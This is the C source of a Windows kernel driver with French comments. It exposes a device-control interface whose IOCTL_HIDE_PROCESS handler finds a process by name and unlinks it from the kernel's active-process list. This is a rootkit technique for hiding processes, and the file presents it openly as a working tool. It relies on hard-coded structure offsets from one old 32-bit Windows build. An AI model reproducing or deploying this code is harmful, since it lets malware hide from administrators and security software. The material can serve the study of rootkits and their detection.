#include <wdm.h>
#include <string.h>

/*
 *   IOCTL's are defined by the following bit layout.
 * [Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
 *   31     30       16 15          14  13   12           2  1            0
 *
 *   Common          - 1 bit.  This is set for user-defined
 *                     device types.
 *   Device Type     - This is the type of device the IOCTL
 *                     belongs to.  This can be user defined
 *                     (Common bit set).  This must match the
 *                     device type of the device object.
 *   Required Access - FILE_READ_DATA, FILE_WRITE_DATA, etc.
 *                     This is the required access for the
 *                     device.
 *   Custom          - 1 bit.  This is set for user-defined
 *                     IOCTL's.  This is used in the same
 *                     manner as "WM_USER".
 *   Function Code   - This is the function code that the
 *                     system or the user defined (custom
 *                     bit set)
 *   Transfer Type   - METHOD_IN_DIRECT, METHOD_OUT_DIRECT,
 *                     METHOD_NEITHER, METHOD_BUFFERED, This
 *                     the data transfer method to be used.
 *
 */

// Device type           -- in the "User Defined" range."
#define SIOCTL_TYPE 40000
typedef unsigned long DWORD;
typedef DWORD *PDWORD;

// The IOCTL function codes from 0x800 to 0xFFF are for customer use.

// METHOD BUFFERED :
// A buffer is allocated and the data is copied from this buffer. The buffer is created as the larger of the two sizes, the input or output buffer.
#define IOCTL_LOL\
    CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)

#define IOCTL_HIDE_PROCESS\
    CTL_CODE( SIOCTL_TYPE, 0x801, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)

VOID unload(PDRIVER_OBJECT pDriverObject);
NTSTATUS Fonction_IRP_MJ_CREATE(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS Fonction_IRP_MJ_CLOSE(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS Fonction_IRP_DEVICE_CONTROL(PDEVICE_OBJECT DeviceObject,PIRP Irp);
long RechercheStructProc(char* nameProcess,int taille);
int  CacheProcessus(char* nameProcess,int taille);



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
    NTSTATUS retour = 0;
    UNICODE_STRING NomInterface,NomLien;
    PDEVICE_OBJECT ptrInterface = NULL;

    RtlInitUnicodeString(&NomInterface,L"\\Device\\IOCTL");

    retour = IoCreateDevice(pDriverObject,0,&NomInterface,FILE_DEVICE_UNKNOWN,FILE_DEVICE_UNKNOWN,FALSE,&ptrInterface);
    pDriverObject->DriverUnload = unload;
    pDriverObject->MajorFunction[IRP_MJ_CREATE] = Fonction_IRP_MJ_CREATE;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = Fonction_IRP_MJ_CLOSE;
    pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = Fonction_IRP_DEVICE_CONTROL; //http://msdn2.microsoft.com/en-us/library/ms806168.aspx

    RtlInitUnicodeString(&NomLien,L"\\DosDevices\\Ioctl");
    retour = IoCreateSymbolicLink(&NomLien,&NomInterface);

    return STATUS_SUCCESS;
}

VOID unload(PDRIVER_OBJECT pDriverObject)
{
    //PDEVICE_OBJECT DeviceObject
    //Pointer to the device objects created by the driver. This member is automatically updated when the driver calls IoCreateDevice successfully. A driver can use this member and the NextDevice member of DEVICE_OBJECT to step through a list of all the device objects that the driver created.

    UNICODE_STRING NomLien;
    RtlInitUnicodeString(&NomLien,L"\\DosDevices\\Ioctl");

    IoDeleteSymbolicLink(&NomLien);
    IoDeleteDevice(pDriverObject->DeviceObject);


}

NTSTATUS Fonction_IRP_MJ_CREATE(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
    DbgPrint("IRP MJ CREATE reçus.");
    return STATUS_SUCCESS;
}

NTSTATUS Fonction_IRP_MJ_CLOSE(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
    DbgPrint("IRP MJ CLOSE reçus.");
    return STATUS_SUCCESS;
}

NTSTATUS Fonction_IRP_DEVICE_CONTROL(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
    /* METHOD_BUFFERED

         Input Buffer = Irp->AssociatedIrp.SystemBuffer
         Ouput Buffer = Irp->AssociatedIrp.SystemBuffer

         Input Size   =  Parameters.DeviceIoControl.InputBufferLength
         Output Size  =  Parameters.DeviceIoControl.OutputBufferLength

         Since they both use the same location
         so the "buffer" allocated by the I/O
         manager is the size of the larger value (Output vs. Input)
    */

    PIO_STACK_LOCATION pIoStackLocation;
    PCHAR welcome = "Kikoo du kerneland.";
    PVOID pBuf = Irp->AssociatedIrp.SystemBuffer;
    PEPROCESS ptrStructProcessToHide;
    long pid;
    int retour;

    pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    switch(pIoStackLocation->Parameters.DeviceIoControl.IoControlCode)
    {
        case IOCTL_LOL :
            DbgPrint("IOCTL LOL.");
            DbgPrint("Message reçus : %s",pBuf);

            RtlZeroMemory(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);
            RtlCopyMemory( pBuf , welcome , strlen(welcome) );

             /*
                Parameters for IRP_MJ_DEVICE_CONTROL and IRP_MJ_INTERNAL_DEVICE_CONTROL
                struct
                {
                    ULONG OutputBufferLength;
                    ULONG POINTER_ALIGNMENT InputBufferLength;
                    ULONG POINTER_ALIGNMENT IoControlCode;
                    PVOID Type3InputBuffer;
                } DeviceIoControl;
            */

            break;


            case IOCTL_HIDE_PROCESS :
                DbgPrint("Hide a fucking process par 0vercl0k.");
                retour = CacheProcessus(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);
                DbgPrint("Retour : %d",retour);
                RtlZeroMemory(pBuf,pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength);

    }


    // Finish the I/O operation by simply completing the packet and returning
    // the same status as in the packet itself.
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = strlen(welcome);

    IoCompleteRequest(Irp,IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}

long RechercheStructProc(char* nameProcess,int taille)
{
    PEPROCESS ptrStructProcessStart,ptrStructProcessCourant;
    PLIST_ENTRY liste;

    ptrStructProcessStart = IoGetCurrentProcess();
    ptrStructProcessCourant = ptrStructProcessStart;

    do
    {
        //   +0x174 ImageFileName    : [16] UChar
        if(!strncmp(nameProcess,((PUCHAR)ptrStructProcessCourant + 0x174),taille))return (long)ptrStructProcessCourant;

        liste = (PLIST_ENTRY)((PUCHAR)ptrStructProcessCourant + 0x088);


        ptrStructProcessCourant = (PEPROCESS)liste->Flink;
        ptrStructProcessCourant = (PEPROCESS)((PUCHAR)ptrStructProcessCourant - 0x088); // le champ liste entry est à 0x088 byte du debut de la struct (voir log kd).

    }while(ptrStructProcessStart != ptrStructProcessCourant);

    return 0;
}

int  CacheProcessus(char* nameProcess,int taille)
{
    PEPROCESS structAHide;
    PLIST_ENTRY listeAHide;

    structAHide = (PEPROCESS)RechercheStructProc(nameProcess,taille);
    if(structAHide == 0)return 0;


    listeAHide = (PLIST_ENTRY)((PUCHAR)structAHide + 0x088);

    *((PDWORD)listeAHide->Blink) = (DWORD)listeAHide->Flink; //On modifie la valeur de Blink par l'addresse de la struct suivante, la struct précédante pointe sur la suivante, sans passer par la notre.
    *((PDWORD)(listeAHide->Flink)+1) = (DWORD)listeAHide->Blink; //+1 -> pour arriver au blink de la suivante ! petit trick made in "subverting windows kernel"

    /*
        kd> dt nt!_LIST_ENTRY
        +0x000 Flink            : Ptr32 _LIST_ENTRY //Pointe sur la struct suivante de type EPROCESS.
        +0x004 Blink            : Ptr32 _LIST_ENTRY //Pointe sur la struct precedente de type EPROCESS.
    */

    listeAHide->Blink = (PLIST_ENTRY)&listeAHide->Flink; // Change the FLINK and BLINK of the process we are hiding so that when
    listeAHide->Flink = (PLIST_ENTRY)&listeAHide->Flink; // it is dereferenced, it points to a valid memory region

    return 1;
}